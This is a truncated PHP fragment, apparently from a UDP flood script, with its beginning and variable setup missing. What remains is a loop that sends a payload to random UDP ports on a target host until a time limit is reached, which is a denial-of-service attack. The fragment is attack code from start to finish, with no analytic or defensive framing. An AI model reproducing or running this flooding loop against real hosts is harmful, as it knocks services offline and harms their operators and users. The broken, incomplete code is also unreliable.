#!/usr/local/bin/php $max_time){ break; } $rand = rand(1,65553); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } ?>